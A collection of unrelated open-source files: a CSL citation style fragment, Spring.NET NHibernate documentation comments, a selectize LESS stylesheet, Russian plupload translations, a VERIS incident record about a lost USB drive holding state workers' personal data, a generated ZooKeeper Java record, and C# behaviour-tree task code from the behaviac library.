<text macro="publisher"/>
</group>
</if>
<else-if type="chapter paper-conference" match="any">
<group delimiter="; ">
<text macro="title"/>
<group delimiter=" ">
<group delimiter=": ">
<text term="in"/>
<text variable="container-title" prefix=" "/>
</group>
<text macro="editor-translator"/>
<text macro="publisher" prefix=" "/>
<group delimiter=" ">
<label strip-periods="true" variable="page" form="short"/>
<text variable="page"/>
</group>
</group>
</group>
</else-if>
<else-if type="webpage post post-weblog" match="any">
<text macro="title" prefix=" "/>
<text variable="URL" suffix="."/>
<text value="Viewed" prefix=" "/>
<date variable="accessed" prefix=" " suffix="." delimiter=" ">
<date-part name="day"/>
<date-part name="month" form="short" strip-periods="true"/>
<date-part name="year"/>
</date>
</else-if>
<else-if type="thesis" match="any">
<group delimiter=", ">
<text macro="title"/>
<text variable="genre"/>
<text macro="publisher"/>
</group>
</else-if>
<else>
<group delimiter=" " prefix=" ">
<text macro="editor-translator" prefix=" " suffix="."/>
<text variable="container-title" form="short" strip-periods="false" font-style="italic"/>
<text variable="volume" font-weight="bold"/>
<text variable="page"/>
<text macro="access"/>
</group>
</else>
</choose>
</group>
</layout>
</bibliography>
</style>
|
{
"pile_set_name": "Github"
}
|
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<DocumentXComments Version="5.0" Moniker="L:\projects\spring-net\trunk\build\net\2.0\debug\Spring.Data.NHibernate21.dll" DocType="dx.Net" Template="" ShowInherited="False" SpellLastCheckDateTime="30/12/1899 00:00:00" TreePath="Spring.Data.NHibernate21" RelatedProject="Spring-1.3.0.dxp" RelatedHSProject="" LoadIncludeFilter="" LoadExcludeFilter="" LoadPrivate="False" LoadOnDemand="True" LoadSourceComments="False">
<IgnoreWordList/>
<UserData>
<InPlaceEditor>
<inheritedMembers>on</inheritedMembers>
<protectedMembers>on</protectedMembers>
<dtscrollpos>0</dtscrollpos>
</InPlaceEditor>
</UserData>
<c eid="Spring.Data.NHibernate21" tid="##SUMMARY" q="" cd="40162.1009490741">This assembly provides integration of NHibernate 2.0 with Spring concepts.</c>
<c eid="Spring.Data.NHibernate21" tid="##PROJECT_GETTINGSTARTED" q="" cd="40162.1028240741"><![CDATA[The Spring.Data.NHibernate.Northwind Quick Start application as well as the reference documentation chapter on <A href="http://www.springframework.net/doc-latest/reference/html/orm.html">NHibernate integration</A> are good places to get started]]></c>
<c eid="Spring.Data.NHibernate21" tid="##PROJECT_INTRODUCTION" q="" cd="40162.1032638889"><![CDATA[<P>The Spring Framework provides integration with NHibernate in terms of resource management, DAO implementation support, and transaction strategies. For example for NHibernate, there is first-class support with lots of IoC convenience features, addressing many typical NHibernate integration issues. All of these support packages for O/R (Object Relational) mappers comply with Spring's generic transaction and DAO exception hierarchies. There are usually two integration styles: either using Spring's DAO 'templates' or coding DAOs against the 'plain' NHibernate APIs. In both cases, DAOs can be configured through Dependency Injection and participate in Spring's resource and transaction management.</P>
<P> </P>
<P>You can use Spring's support for NHibernate without needing to use Spring IoC or transaction management functionality. The NHibernate support classes can be used in typical 3rd party library style. However, usage inside a Spring IoC container does provide additional benefits in terms of ease of configuration and deployment; as such, most examples in this section show configuration inside a Spring container.</P>]]></c>
<c eid="Spring.Data.NHibernate21~Spring.Data.NHibernate_namespace" tid="##SUMMARY" q="" cd="40162.1011226852">Contains HibernateTemplate</c>
<c eid="Spring.Data.NHibernate21~Spring.Data.NHibernate.Bytecode_namespace" tid="##SUMMARY" q="" cd="40162.1018981481">Integration with Spring based NHibernate B ytecode provider</c>
<c eid="Spring.Data.NHibernate21~Spring.Data.NHibernate.Generic_namespace" tid="##SUMMARY" q="" cd="40162.10125">Generic implementation of HibernateTemplate</c>
<c eid="Spring.Data.NHibernate21~Spring.Data.NHibernate.Generic.Support_namespace" tid="##SUMMARY" q="" cd="40162.1014236111">Generic implementation of base DAO class</c>
<c eid="Spring.Data.NHibernate21~Spring.Data.NHibernate.Support_namespace" tid="##SUMMARY" q="" cd="40162.1015393519">Provides Open Session In View module, base DAO class for HibernateTemplate usage, and SessionScope utilty class</c>
</DocumentXComments>
|
{
"pile_set_name": "Github"
}
|
.selectize-dropdown.plugin-optgroup_columns {
.optgroup {
border-right: 1px solid #f2f2f2;
border-top: 0 none;
float: left;
.selectize-box-sizing(border-box);
}
.optgroup:last-child {
border-right: 0 none;
}
.optgroup:before {
display: none;
}
.optgroup-header {
border-top: 0 none;
}
}
|
{
"pile_set_name": "Github"
}
|
// Russian
plupload.addI18n({
'Select files' : 'Выберите файлы',
'Add files to the upload queue and click the start button.' : 'Добавьте файлы в очередь и нажмите кнопку "Загрузить файлы".',
'Filename' : 'Имя файла',
'Status' : 'Статус',
'Size' : 'Размер',
'Add files' : 'Добавить файлы',
'Stop current upload' : 'Остановить загрузку',
'Start uploading queue' : 'Загрузить файлы',
'Uploaded %d/%d files': 'Загружено %d из %d файлов',
'N/A' : 'N/D',
'Drag files here.' : 'Перетащите файлы сюда.',
'File extension error.': 'Неправильное расширение файла.',
'File size error.': 'Неправильный размер файла.',
'Init error.': 'Ошибка инициализации.',
'HTTP Error.': 'Ошибка HTTP.',
'Security error.': 'Ошибка безопасности.',
'Generic error.': 'Общая ошибка.',
'IO error.': 'Ошибка ввода-вывода.'
});
|
{
"pile_set_name": "Github"
}
|
{
"action": {
"error": {
"variety": [
"Loss"
],
"vector": [
"Unknown"
]
}
},
"actor": {
"internal": {
"motive": [
"Financial"
],
"variety": [
"Other"
]
}
},
"asset": {
"assets": [
{
"variety": "M - Disk drive"
}
],
"cloud": [
"Unknown"
]
},
"attribute": {
"availability": {
"variety": [
"Loss"
]
},
"confidentiality": {
"data": [
{
"amount": 18800,
"variety": "Personal"
}
],
"data_disclosure": "Potentially",
"data_total": 18800,
"data_victim": [
"Employee"
],
"state": [
"Unknown"
]
}
},
"discovery_method": {
"other": true
},
"impact": {
"overall_rating": "Unknown"
},
"incident_id": "660C9AE8-99C2-4732-8268-B3D9572F09D0",
"plus": {
"analysis_status": "First pass",
"analyst": "dhylender",
"attribute": {
"confidentiality": {
"credit_monitoring": "Unknown"
}
},
"created": "2013-12-16T21:50:00Z",
"github": "1103",
"master_id": "660C9AE8-99C2-4732-8268-B3D9572F09D0",
"modified": "2014-05-10T00:58:19Z",
"timeline": {
"notification": {
"day": 16,
"month": 12,
"year": 2013
}
}
},
"reference": "http://www.thedenverchannel.com/news/local-news/social-security-numbers-addresses-of-18800-state-workers-in-missing-thumb-drive",
"schema_version": "1.3.4",
"security_incident": "Confirmed",
"source_id": "vcdb",
"summary": "The state is warning 18,800 former and current state workers to watch out for identity theft because a USB drive containing their private information is missing.",
"timeline": {
"incident": {
"year": 2013
}
},
"victim": {
"country": [
"Unknown"
],
"employee_count": "Unknown",
"industry": "921110",
"region": [
"000000"
]
}
}
|
{
"pile_set_name": "Github"
}
|
// File generated by hadoop record compiler. Do not edit.
/**
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.apache.zookeeper_voltpatches.proto;
import java.util.*;
import org.apache.jute_voltpatches.*;
import org.apache.zookeeper_voltpatches.proto.GetChildrenResponse;
public class GetChildrenResponse implements Record {
private java.util.List<String> children;
public GetChildrenResponse() {
}
public GetChildrenResponse(
java.util.List<String> children) {
this.children=children;
}
public java.util.List<String> getChildren() {
return children;
}
public void setChildren(java.util.List<String> m_) {
children=m_;
}
public void serialize(OutputArchive a_, String tag) throws java.io.IOException {
a_.startRecord(this,tag);
{
a_.startVector(children,"children");
if (children!= null) { int len1 = children.size();
for(int vidx1 = 0; vidx1<len1; vidx1++) {
String e1 = children.get(vidx1);
a_.writeString(e1,"e1");
}
}
a_.endVector(children,"children");
}
a_.endRecord(this,tag);
}
public void deserialize(InputArchive a_, String tag) throws java.io.IOException {
a_.startRecord(tag);
{
Index vidx1 = a_.startVector("children");
if (vidx1!= null) { children=new java.util.ArrayList<String>();
for (; !vidx1.done(); vidx1.incr()) {
String e1;
e1=a_.readString("e1");
children.add(e1);
}
}
a_.endVector("children");
}
a_.endRecord(tag);
}
@Override
public String toString() {
try {
java.io.ByteArrayOutputStream s =
new java.io.ByteArrayOutputStream();
CsvOutputArchive a_ =
new CsvOutputArchive(s);
a_.startRecord(this,"");
{
a_.startVector(children,"children");
if (children!= null) { int len1 = children.size();
for(int vidx1 = 0; vidx1<len1; vidx1++) {
String e1 = children.get(vidx1);
a_.writeString(e1,"e1");
}
}
a_.endVector(children,"children");
}
a_.endRecord(this,"");
return new String(s.toByteArray(), "UTF-8");
} catch (Throwable ex) {
ex.printStackTrace();
}
return "ERROR";
}
public void write(java.io.DataOutput out) throws java.io.IOException {
BinaryOutputArchive archive = new BinaryOutputArchive(out);
serialize(archive, "");
}
public void readFields(java.io.DataInput in) throws java.io.IOException {
BinaryInputArchive archive = new BinaryInputArchive(in);
deserialize(archive, "");
}
public int compareTo (Object peer_) throws ClassCastException {
throw new UnsupportedOperationException("comparing GetChildrenResponse is unimplemented");
}
@Override
public boolean equals(Object peer_) {
if (!(peer_ instanceof GetChildrenResponse)) {
return false;
}
if (peer_ == this) {
return true;
}
GetChildrenResponse peer = (GetChildrenResponse) peer_;
boolean ret = false;
ret = children.equals(peer.children);
if (!ret) return ret;
return ret;
}
@Override
public int hashCode() {
int result = 17;
int ret;
ret = children.hashCode();
result = 37*result + ret;
return result;
}
public static String signature() {
return "LGetChildrenResponse([s])";
}
}
|
{
"pile_set_name": "Github"
}
|
/////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// Tencent is pleased to support the open source community by making behaviac available.
//
// Copyright (C) 2015-2017 THL A29 Limited, a Tencent company. All rights reserved.
//
// Licensed under the BSD 3-Clause License (the "License"); you may not use this file except in
// compliance with the License. You may obtain a copy of the License at http://opensource.org/licenses/BSD-3-Clause
//
// Unless required by applicable law or agreed to in writing, software distributed under the License
// is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express
// or implied. See the License for the specific language governing permissions and limitations under
// the License.
/////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// please define BEHAVIAC_NOT_USE_UNITY in your project file if you are not using unity
#if !BEHAVIAC_NOT_USE_UNITY
// if you have compiling errors complaining the following using 'UnityEngine',
//usually, you need to define BEHAVIAC_NOT_USE_UNITY in your project file
using UnityEngine;
#endif//!BEHAVIAC_NOT_USE_UNITY
using System.Collections.Generic;
namespace behaviac
{
/**
Return values of tick/update and valid states for behaviors.
*/
[behaviac.TypeMetaInfo()]
public enum EBTStatus
{
BT_INVALID,
BT_SUCCESS,
BT_FAILURE,
BT_RUNNING,
}
/**
trigger mode to control the bt switching and back
*/
public enum TriggerMode
{
TM_Transfer,
TM_Return
}
///return false to stop traversing
public delegate bool NodeHandler_t(BehaviorTask task, Agent agent, object user_data);
/**
Base class for the BehaviorTreeTask's runtime execution management.
*/
public abstract class BehaviorTask
{
public static void DestroyTask(BehaviorTask task)
{
}
public virtual void Init(BehaviorNode node)
{
Debug.Check(node != null);
this.m_node = node;
this.m_id = this.m_node.GetId();
}
public virtual void Clear()
{
this.m_status = EBTStatus.BT_INVALID;
this.m_parent = null;
this.m_id = -1;
}
public virtual void copyto(BehaviorTask target)
{
target.m_status = this.m_status;
}
public virtual void save(ISerializableNode node)
{
//CSerializationID classId = new CSerializationID("class");
//node.setAttr(classId, this.GetClassNameString());
//CSerializationID idId = new CSerializationID("id");
//node.setAttr(idId, this.GetId());
//CSerializationID statusId = new CSerializationID("status");
//node.setAttr(statusId, this.m_status);
}
public virtual void load(ISerializableNode node)
{
}
public BehaviorTreeTask RootTask
{
get
{
BehaviorTask task = this;
while (task.m_parent != null)
{
task = task.m_parent;
}
Debug.Check(task is BehaviorTreeTask);
BehaviorTreeTask tree = (BehaviorTreeTask)task;
return tree;
}
}
public string GetClassNameString()
{
if (this.m_node != null)
{
return this.m_node.GetClassNameString();
}
string subBT = "SubBT";
return subBT;
}
public int GetId()
{
return this.m_id;
}
public virtual int GetNextStateId()
{
return -1;
}
public virtual BehaviorTask GetCurrentTask()
{
return null;
}
#if !BEHAVIAC_RELEASE
struct AutoProfileBlockSend
{
string classId_;
Agent agent_;
float time_;
public AutoProfileBlockSend(string taskClassid, Agent agent)
{
this.classId_ = taskClassid;
this.agent_ = agent;
#if !BEHAVIAC_NOT_USE_UNITY
this.time_ = UnityEngine.Time.realtimeSinceStartup;
#else
this.time_ = System.DateTime.Now.Millisecond;
#endif
}
public void Close()
{
#if !BEHAVIAC_NOT_USE_UNITY
float endTime = UnityEngine.Time.realtimeSinceStartup;
#else
float endTime = System.DateTime.Now.Millisecond;
#endif
//micro second
long duration = (long)(float)((endTime - this.time_) * 1000000.0f);
LogManager.Instance.Log(this.agent_, this.classId_, duration);
}
}
#endif
public EBTStatus exec(Agent pAgent)
{
EBTStatus childStatus = EBTStatus.BT_RUNNING;
return this.exec(pAgent, childStatus);
}
public EBTStatus exec(Agent pAgent, EBTStatus childStatus)
{
#if !BEHAVIAC_RELEASE
Debug.Check(this.m_node == null || this.m_node.IsValid(pAgent, this),
string.Format("Agent In BT:{0} while the Agent used for: {1}", this.m_node.GetAgentType(), pAgent.GetClassTypeName()));
string classStr = (this.m_node != null ? this.m_node.GetClassNameString() : "BT");
int nodeId = (this.m_node != null ? this.m_node.GetId() : -1);
string taskClassid = string.Format("{0}[{1}]", classStr, nodeId);
AutoProfileBlockSend profiler_block = new AutoProfileBlockSend(taskClassid, pAgent);
#endif//#if !BEHAVIAC_RELEASE
bool bEnterResult = false;
if (this.m_status == EBTStatus.BT_RUNNING)
{
bEnterResult = true;
}
else
{
//reset it to invalid when it was success/failure
this.m_status = EBTStatus.BT_INVALID;
bEnterResult = this.onenter_action(pAgent);
}
if (bEnterResult)
{
#if !BEHAVIAC_RELEASE
if (Config.IsLoggingOrSocketing)
{
string btStr = BehaviorTask.GetTickInfo(pAgent, this, "update");
//empty btStr is for internal BehaviorTreeTask
if (!string.IsNullOrEmpty(btStr))
{
LogManager.Instance.Log(pAgent, btStr, EActionResult.EAR_none, LogMode.ELM_tick);
}
}
#endif
bool bValid = this.CheckParentUpdatePreconditions(pAgent);
if (bValid)
{
this.m_status = this.update_current(pAgent, childStatus);
}
else
{
this.m_status = EBTStatus.BT_FAILURE;
if (this.GetCurrentTask() != null)
{
this.update_current(pAgent, EBTStatus.BT_FAILURE);
}
}
if (this.m_status != EBTStatus.BT_RUNNING)
{
//clear it
this.onexit_action(pAgent, this.m_status);
//this node is possibly ticked by its parent or by the topBranch who records it as currrent node
//so, we can't here reset the topBranch's current node
}
else
{
BranchTask tree = this.GetTopManageBranchTask();
if (tree != null)
{
tree.SetCurrentTask(this);
}
}
}
else
{
this.m_status = EBTStatus.BT_FAILURE;
}
#if !BEHAVIAC_RELEASE
profiler_block.Close();
#endif
return this.m_status;
}
private const int kMaxParentsCount = 512;
private static BehaviorTask[] ms_parents = new BehaviorTask[kMaxParentsCount];
private bool CheckParentUpdatePreconditions(Agent pAgent)
{
bool bValid = true;
if (this.m_bHasManagingParent)
{
bool bHasManagingParent = false;
int parentsCount = 0;
BranchTask parentBranch = this.GetParent();
ms_parents[parentsCount++] = this;
//back track the parents until the managing branch
while (parentBranch != null)
{
Debug.Check(parentsCount < kMaxParentsCount, "weird tree!");
ms_parents[parentsCount++] = parentBranch;
if (parentBranch.GetCurrentTask() == this)
{
//Debug.Check(parentBranch->GetNode()->IsManagingChildrenAsSubTrees());
bHasManagingParent = true;
break;
}
parentBranch = parentBranch.GetParent();
}
if (bHasManagingParent)
{
for (int i = parentsCount - 1; i >= 0; --i)
{
BehaviorTask pb = ms_parents[i];
bValid = pb.CheckPreconditions(pAgent, true);
if (!bValid)
{
break;
}
}
}
}
else
{
bValid = this.CheckPreconditions(pAgent, true);
}
return bValid;
}
private BranchTask GetTopManageBranchTask()
{
BranchTask tree = null;
BehaviorTask task = this.m_parent;
while (task != null)
{
if (task is BehaviorTreeTask)
{
//to overwrite the child branch
tree = (BranchTask)task;
break;
}
else if (task.m_node.IsManagingChildrenAsSubTrees())
{
//until it is Parallel/SelectorLoop, it's child is used as tree to store current task
break;
}
else if (task is BranchTask)
{
//this if must be after BehaviorTreeTask and IsManagingChildrenAsSubTrees
tree = (BranchTask)task;
}
else
{
Debug.Check(false);
}
task = task.m_parent;
}
return tree;
}
private static bool getRunningNodes_handler(BehaviorTask node, Agent pAgent, object user_data)
{
if (node.m_status == EBTStatus.BT_RUNNING)
{
((List<BehaviorTask>)user_data).Add(node);
}
return true;
}
private static bool end_handler(BehaviorTask node, Agent pAgent, object user_data)
{
if (node.m_status == EBTStatus.BT_RUNNING || node.m_status == EBTStatus.BT_INVALID)
{
EBTStatus status = (EBTStatus)user_data;
node.onexit_action(pAgent, status);
node.m_status = status;
node.SetCurrentTask(null);
}
return true;
}
private static bool abort_handler(BehaviorTask node, Agent pAgent, object user_data)
{
if (node.m_status == EBTStatus.BT_RUNNING)
{
node.onexit_action(pAgent, EBTStatus.BT_FAILURE);
node.m_status = EBTStatus.BT_FAILURE;
node.SetCurrentTask(null);
}
return true;
}
private static bool reset_handler(BehaviorTask node, Agent pAgent, object user_data)
{
node.m_status = EBTStatus.BT_INVALID;
node.onreset(pAgent);
node.SetCurrentTask(null);
return true;
}
protected static NodeHandler_t getRunningNodes_handler_ = getRunningNodes_handler;
protected static NodeHandler_t end_handler_ = end_handler;
protected static NodeHandler_t abort_handler_ = abort_handler;
protected static NodeHandler_t reset_handler_ = reset_handler;
public List<BehaviorTask> GetRunningNodes(bool onlyLeaves = true)
{
List<BehaviorTask> nodes = new List<BehaviorTask>();
this.traverse(true, getRunningNodes_handler_, null, nodes);
if (onlyLeaves && nodes.Count > 0)
{
List<BehaviorTask> leaves = new List<BehaviorTask>();
for (int i = 0; i < nodes.Count; ++i)
{
if (nodes[i] is LeafTask)
{
leaves.Add(nodes[i]);
}
}
return leaves;
}
return nodes;
}
public void abort(Agent pAgent)
{
this.traverse(true, abort_handler_, pAgent, null);
}
///reset the status to invalid
public void reset(Agent pAgent)
{
//BEHAVIAC_PROFILE("BehaviorTask.reset");
this.traverse(true, reset_handler_, pAgent, null);
}
public EBTStatus GetStatus()
{
return this.m_status;
}
public void SetStatus(EBTStatus s)
{
this.m_status = s;
}
public BehaviorNode GetNode()
{
return this.m_node;
}
public void SetParent(BranchTask parent)
{
this.m_parent = parent;
}
public BranchTask GetParent()
{
return this.m_parent;
}
public abstract void traverse(bool childFirst, NodeHandler_t handler, Agent pAgent, object user_data);
/**
return false if the event handling needs to be stopped
an event can be configured to stop being checked if triggered
*/
public bool CheckEvents(string eventName, Agent pAgent, Dictionary<uint, IInstantiatedVariable> eventParams)
{
return this.m_node.CheckEvents(eventName, pAgent, eventParams);
}
public virtual void onreset(Agent pAgent)
{
}
/**
return false if the event handling needs to be stopped
return true, the event hanlding will be checked furtherly
*/
public virtual bool onevent(Agent pAgent, string eventName, Dictionary<uint, IInstantiatedVariable> eventParams)
{
if (this.m_status == EBTStatus.BT_RUNNING && this.m_node.HasEvents())
{
if (!this.CheckEvents(eventName, pAgent, eventParams))
{
return false;
}
}
return true;
}
protected BehaviorTask()
{
m_status = EBTStatus.BT_INVALID;
m_node = null;
m_parent = null;
m_bHasManagingParent = false;
}
protected virtual EBTStatus update_current(Agent pAgent, EBTStatus childStatus)
{
EBTStatus s = this.update(pAgent, childStatus);
return s;
}
protected virtual EBTStatus update(Agent pAgent, EBTStatus childStatus)
{
return EBTStatus.BT_SUCCESS;
}
protected virtual bool onenter(Agent pAgent)
{
return true;
}
protected virtual void onexit(Agent pAgent, EBTStatus status)
{
}
public static string GetTickInfo(Agent pAgent, BehaviorTask bt, string action)
{
string result = GetTickInfo(pAgent, bt.GetNode(), action);
return result;
}
public static string GetTickInfo(Agent pAgent, BehaviorNode n, string action)
{
#if !BEHAVIAC_RELEASE
if (Config.IsLoggingOrSocketing)
{
if (!System.Object.ReferenceEquals(pAgent, null) && pAgent.IsMasked())
{
//BEHAVIAC_PROFILE("GetTickInfo", true);
string bClassName = n.GetClassNameString();
//filter out intermediate bt, whose class name is empty
if (!string.IsNullOrEmpty(bClassName))
{
string btName = GetParentTreeName(pAgent, n);
string bpstr = "";
if (!string.IsNullOrEmpty(btName))
{
bpstr = string.Format("{0}.xml->", btName);
}
int nodeId = n.GetId();
bpstr += string.Format("{0}[{1}]", bClassName, nodeId);
if (!string.IsNullOrEmpty(action))
{
bpstr += string.Format(":{0}", action);
}
return bpstr;
}
}
}
#endif
return string.Empty;
}
public static string GetParentTreeName(Agent pAgent, BehaviorNode n)
{
string btName = null;
if (n is ReferencedBehavior)
{
n = n.Parent;
}
bool bIsTree = false;
bool bIsRefTree = false;
while (n != null)
{
bIsTree = (n is BehaviorTree);
bIsRefTree = (n is ReferencedBehavior);
if (bIsTree || bIsRefTree)
{
break;
}
n = n.Parent;
}
if (bIsTree)
{
BehaviorTree bt = n as BehaviorTree;
btName = bt.GetName();
}
else if (bIsRefTree)
{
ReferencedBehavior refTree = n as ReferencedBehavior;
btName = refTree.GetReferencedTree(pAgent);
}
else
{
Debug.Check(false);
}
return btName;
}
private static string GetActionResultStr(EActionResult actionResult)
{
#if !BEHAVIAC_RELEASE
if (Config.IsLoggingOrSocketing)
{
string actionResultStr = "";
if (actionResult == EActionResult.EAR_success)
{
actionResultStr = " [success]";
}
else if (actionResult == EActionResult.EAR_failure)
{
actionResultStr = " [failure]";
}
else if (actionResult == EActionResult.EAR_all)
{
actionResultStr = " [all]";
}
else
{
//although actionResult can be EAR_none or EAR_all, but, as this is the real result of an action
//it can only be success or failure
Debug.Check(false);
}
return actionResultStr;
}
#endif
return string.Empty;
}
private static void _MY_BREAKPOINT_BREAK_(Agent pAgent, string btMsg, EActionResult actionResult)
{
#if !BEHAVIAC_RELEASE
if (Config.IsLoggingOrSocketing)
{
string actionResultStr = GetActionResultStr(actionResult);
string msg = string.Format("BehaviorTreeTask Breakpoints at: '{0}{1}'\n\nOk to continue.", btMsg, actionResultStr);
Workspace.Instance.RespondToBreak(msg, "BehaviorTreeTask Breakpoints");
}
#endif
}
//CheckBreakpoint should be after log of onenter/onexit/update, as it needs to flush msg to the client
public static void CHECK_BREAKPOINT(Agent pAgent, BehaviorNode b, string action, EActionResult actionResult)
{
#if !BEHAVIAC_RELEASE
if (Config.IsLoggingOrSocketing)
{
string bpstr = GetTickInfo(pAgent, b, action);
if (!string.IsNullOrEmpty(bpstr))
{
LogManager.Instance.Log(pAgent, bpstr, actionResult, LogMode.ELM_tick);
if (Workspace.Instance.CheckBreakpoint(pAgent, b, action, actionResult))
{
//log the current variables, otherwise, its value is not the latest
pAgent.LogVariables(false);
LogManager.Instance.Log(pAgent, bpstr, actionResult, LogMode.ELM_breaked);
LogManager.Instance.Flush(pAgent);
SocketUtils.Flush();
_MY_BREAKPOINT_BREAK_(pAgent, bpstr, actionResult);
LogManager.Instance.Log(pAgent, bpstr, actionResult, LogMode.ELM_continue);
LogManager.Instance.Flush(pAgent);
SocketUtils.Flush();
}
}
}
#endif
}
protected virtual bool CheckPreconditions(Agent pAgent, bool bIsAlive)
{
bool bResult = true;
if (this.m_node != null)
{
if (this.m_node.PreconditionsCount > 0)
{
bResult = this.m_node.CheckPreconditions(pAgent, bIsAlive);
}
}
return bResult;
}
public bool onenter_action(Agent pAgent)
{
bool bResult = this.CheckPreconditions(pAgent, false);
if (bResult)
{
this.m_bHasManagingParent = false;
this.SetCurrentTask(null);
bResult = this.onenter(pAgent);
if (!bResult)
{
return false;
}
else
{
#if !BEHAVIAC_RELEASE
//BEHAVIAC_PROFILE_DEBUGBLOCK("Debug", true);
BehaviorTask.CHECK_BREAKPOINT(pAgent, this.m_node, "enter", bResult ? EActionResult.EAR_success : EActionResult.EAR_failure);
#endif
}
}
return bResult;
}
public void onexit_action(Agent pAgent, EBTStatus status)
{
this.onexit(pAgent, status);
if (this.m_node != null)
{
Effector.EPhase phase = Effector.EPhase.E_SUCCESS;
if (status == EBTStatus.BT_FAILURE)
{
phase = Effector.EPhase.E_FAILURE;
}
else
{
Debug.Check(status == EBTStatus.BT_SUCCESS);
}
this.m_node.ApplyEffects(pAgent, phase);
}
#if !BEHAVIAC_RELEASE
if (Config.IsLoggingOrSocketing)
{
//BEHAVIAC_PROFILE_DEBUGBLOCK("Debug", true);
if (status == EBTStatus.BT_SUCCESS)
{
BehaviorTask.CHECK_BREAKPOINT(pAgent, this.m_node, "exit", EActionResult.EAR_success);
}
else
{
BehaviorTask.CHECK_BREAKPOINT(pAgent, this.m_node, "exit", EActionResult.EAR_failure);
}
}
#endif
}
public void SetHasManagingParent(bool bHasManagingParent)
{
this.m_bHasManagingParent = bHasManagingParent;
}
public virtual void SetCurrentTask(BehaviorTask task)
{
}
public EBTStatus m_status;
protected BehaviorNode m_node;
protected BranchTask m_parent;
protected int m_id;
protected bool m_bHasManagingParent;
}
// ============================================================================
public class AttachmentTask : BehaviorTask
{
protected AttachmentTask()
{
}
public override void traverse(bool childFirst, NodeHandler_t handler, Agent pAgent, object user_data)
{
handler(this, pAgent, user_data);
}
}
// ============================================================================
public class LeafTask : BehaviorTask
{
public override void traverse(bool childFirst, NodeHandler_t handler, Agent pAgent, object user_data)
{
handler(this, pAgent, user_data);
}
protected LeafTask()
{
}
}
// ============================================================================
public abstract class BranchTask : BehaviorTask
{
protected BranchTask()
{
}
public override void Clear()
{
base.Clear();
this.m_currentTask = null;
}
protected override bool onenter(Agent pAgent)
{
return true;
}
protected override void onexit(Agent pAgent, EBTStatus status)
{
//this.m_currentTask = null;
}
public override void onreset(Agent pAgent)
{
//this.m_currentTask = null;
}
private bool oneventCurrentNode(Agent pAgent, string eventName, Dictionary<uint, IInstantiatedVariable> eventParams)
{
Debug.Check(this.m_currentTask != null);
if (this.m_currentTask != null)
{
EBTStatus s = this.m_currentTask.GetStatus();
Debug.Check(s == EBTStatus.BT_RUNNING && this.m_node.HasEvents());
bool bGoOn = this.m_currentTask.onevent(pAgent, eventName, eventParams);
//give the handling back to parents
if (bGoOn && this.m_currentTask != null)
{
BranchTask parentBranch = this.m_currentTask.GetParent();
//back track the parents until the branch
while (parentBranch != null && parentBranch != this)
{
Debug.Check(parentBranch.GetStatus() == EBTStatus.BT_RUNNING);
bGoOn = parentBranch.onevent(pAgent, eventName, eventParams);
if (!bGoOn)
{
return false;
}
parentBranch = parentBranch.GetParent();
}
}
return bGoOn;
}
return false;
}
// return false if the event handling needs to be stopped return true, the event hanlding
// will be checked furtherly
public override bool onevent(Agent pAgent, string eventName, Dictionary<uint, IInstantiatedVariable> eventParams)
{
if (this.m_node.HasEvents())
{
bool bGoOn = true;
if (this.m_currentTask != null)
{
bGoOn = this.oneventCurrentNode(pAgent, eventName, eventParams);
}
if (bGoOn)
{
bGoOn = base.onevent(pAgent, eventName, eventParams);
}
return bGoOn;
}
return true;
}
private EBTStatus execCurrentTask(Agent pAgent, EBTStatus childStatus)
{
Debug.Check(this.m_currentTask != null && this.m_currentTask.GetStatus() == EBTStatus.BT_RUNNING);
//this.m_currentTask could be cleared in ::tick, to remember it
EBTStatus status = this.m_currentTask.exec(pAgent, childStatus);
//give the handling back to parents
if (status != EBTStatus.BT_RUNNING)
{
Debug.Check(status == EBTStatus.BT_SUCCESS || status == EBTStatus.BT_FAILURE);
Debug.Check(this.m_currentTask.m_status == status);
BranchTask parentBranch = this.m_currentTask.GetParent();
this.m_currentTask = null;
//back track the parents until the branch
while (parentBranch != null)
{
if (parentBranch == this)
{
status = parentBranch.update(pAgent, status);
}
else
{
status = parentBranch.exec(pAgent, status);
}
if (status == EBTStatus.BT_RUNNING)
{
return EBTStatus.BT_RUNNING;
}
Debug.Check(parentBranch == this || parentBranch.m_status == status);
if (parentBranch == this)
{
break;
}
parentBranch = parentBranch.GetParent();
}
}
return status;
}
protected override EBTStatus update_current(Agent pAgent, EBTStatus childStatus)
{
EBTStatus status = EBTStatus.BT_INVALID;
if (this.m_currentTask != null)
{
status = this.execCurrentTask(pAgent, childStatus);
Debug.Check(status == EBTStatus.BT_RUNNING ||
(status != EBTStatus.BT_RUNNING && this.m_currentTask == null));
}
else
{
status = this.update(pAgent, childStatus);
}
return status;
}
protected EBTStatus resume_branch(Agent pAgent, EBTStatus status)
{
Debug.Check(this.m_currentTask != null);
Debug.Check(status == EBTStatus.BT_SUCCESS || status == EBTStatus.BT_FAILURE);
BranchTask parent = null;
if (this.m_currentTask.GetNode().IsManagingChildrenAsSubTrees())
{
parent = (BranchTask)this.m_currentTask;
}
else
{
parent = this.m_currentTask.GetParent();
}
//clear it as it ends and the next exec might need to set it
this.m_currentTask = null;
if (parent != null)
{
EBTStatus s = parent.exec(pAgent, status);
return s;
}
return EBTStatus.BT_INVALID;
}
protected abstract void addChild(BehaviorTask pBehavior);
//bookmark the current running node, it is different from m_activeChildIndex
private BehaviorTask m_currentTask;
public override BehaviorTask GetCurrentTask()
{
return this.m_currentTask;
}
public override void SetCurrentTask(BehaviorTask task)
{
if (task != null)
{
//if the leaf node is running, then the leaf's parent node is also as running,
//the leaf is set as the tree's current task instead of its parent
if (this.m_currentTask == null)
{
Debug.Check(this.m_currentTask != this);
this.m_currentTask = task;
task.SetHasManagingParent(true);
}
}
else
{
if (this.m_status != EBTStatus.BT_RUNNING)
{
this.m_currentTask = task;
}
}
}
}
// ============================================================================
